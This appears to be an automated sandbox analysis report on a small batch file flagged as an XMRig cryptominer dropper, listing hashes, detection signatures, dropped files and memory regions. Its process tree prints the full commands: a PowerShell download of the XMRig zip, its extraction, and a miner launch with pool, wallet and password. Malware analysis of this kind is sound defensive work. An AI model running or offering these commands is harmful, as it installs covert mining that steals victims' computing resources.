Analysis

  • max time kernel
    1797s
  • max time network
    1808s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    23/12/2023, 21:51

General

  • Target

    tesy - Copy (10).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (10).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2824
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4528
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:916
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1824

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    56efdb5a0f10b5eece165de4f8c9d799

    SHA1

    fa5de7ca343b018c3bfeab692545eb544c244e16

    SHA256

    6c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108

    SHA512

    91e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    e501ea85b315a3cea2ebb036e32eab70

    SHA1

    b8c7810cb7c496f3b0d47def91c38cad1e959593

    SHA256

    3eb145fadf502c0f8a45ba7094088d79c4615c2de360bce8edb7ddf37060aca8

    SHA512

    1ab44b7a41eeba28a5cd5d839b9b51e9adb95509395c1cae4eff4db703930cbc5b75692c3915a0f13a5b06671f383481037d9e44afb25444d54dacc33c6a03d7

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1ebsr01b.vel.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    342KB

    MD5

    145b5189f10650c6e85d7f2094c82fd0

    SHA1

    256e8be34ab52dd7fe3af0cf44f8da75599d4288

    SHA256

    c8194d16206d7af9b97700af96b29a3d2a3f4731c6f6f462be62d3a27d1ab9a2

    SHA512

    9a99e8ea09ebb9f7d83dc9fea6c357bcd6084542f6a7a1e2da7c437bc0805f601cfef6624d445b1e8b9cc7ed68c79a4e5e353f5a324d2d8bfba9015b4f7fdf3d

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    856KB

    MD5

    a562c4250b54a8336d832bf5aaf96061

    SHA1

    646ee6a745c1dfcc58e9b555ad9998725600748f

    SHA256

    91324b998248fcb6ebef9ce8f55918a831bf80e4774a26f5be3ab2ccef79abe9

    SHA512

    8f86b7ce6be1628f564faf04241862958e934a1a490cf4048bc3e948317793c3563b8de7d8ef274c9a894e49cc173cef2c033464fd7597570ecc739e2f57e47b

  • memory/916-89-0x0000021CF2200000-0x0000021CF220A000-memory.dmp

    Filesize

    40KB

  • memory/916-36-0x00007FFB59C20000-0x00007FFB5A60C000-memory.dmp

    Filesize

    9.9MB

  • memory/916-37-0x0000021CF2210000-0x0000021CF2220000-memory.dmp

    Filesize

    64KB

  • memory/916-39-0x0000021CF2210000-0x0000021CF2220000-memory.dmp

    Filesize

    64KB

  • memory/916-113-0x00007FFB59C20000-0x00007FFB5A60C000-memory.dmp

    Filesize

    9.9MB

  • memory/916-62-0x0000021CF2210000-0x0000021CF2220000-memory.dmp

    Filesize

    64KB

  • memory/916-76-0x0000021CF2480000-0x0000021CF2492000-memory.dmp

    Filesize

    72KB

  • memory/1824-145-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-150-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-184-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-116-0x000001C81D650000-0x000001C81D670000-memory.dmp

    Filesize

    128KB

  • memory/1824-117-0x000001C81D690000-0x000001C81D6D0000-memory.dmp

    Filesize

    256KB

  • memory/1824-118-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-120-0x000001C81D6F0000-0x000001C81D710000-memory.dmp

    Filesize

    128KB

  • memory/1824-119-0x000001C81D6D0000-0x000001C81D6F0000-memory.dmp

    Filesize

    128KB

  • memory/1824-121-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-122-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-123-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-125-0x000001C81D6F0000-0x000001C81D710000-memory.dmp

    Filesize

    128KB

  • memory/1824-124-0x000001C81D6D0000-0x000001C81D6F0000-memory.dmp

    Filesize

    128KB

  • memory/1824-126-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-127-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-128-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-129-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-130-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-131-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-132-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-133-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-134-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-135-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-136-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-137-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-138-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-139-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-140-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-141-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-142-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-143-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-144-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-183-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-146-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-147-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-148-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-149-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-182-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-151-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-152-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-153-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-154-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-155-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-156-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-157-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-158-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-159-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-160-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-161-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-162-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-163-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-164-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-165-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-166-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-167-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-168-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-169-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-170-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-171-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-172-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-173-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-174-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-175-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-176-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-177-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-178-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-179-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-180-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/1824-181-0x00007FF7867C0000-0x00007FF7872C3000-memory.dmp

    Filesize

    11.0MB

  • memory/4528-8-0x0000027EA6030000-0x0000027EA6040000-memory.dmp

    Filesize

    64KB

  • memory/4528-4-0x0000027EA6170000-0x0000027EA6192000-memory.dmp

    Filesize

    136KB

  • memory/4528-5-0x00007FFB59C20000-0x00007FFB5A60C000-memory.dmp

    Filesize

    9.9MB

  • memory/4528-6-0x0000027EA6030000-0x0000027EA6040000-memory.dmp

    Filesize

    64KB

  • memory/4528-10-0x0000027EA6320000-0x0000027EA6396000-memory.dmp

    Filesize

    472KB

  • memory/4528-25-0x0000027EA6030000-0x0000027EA6040000-memory.dmp

    Filesize

    64KB

  • memory/4528-30-0x00007FFB59C20000-0x00007FFB5A60C000-memory.dmp

    Filesize

    9.9MB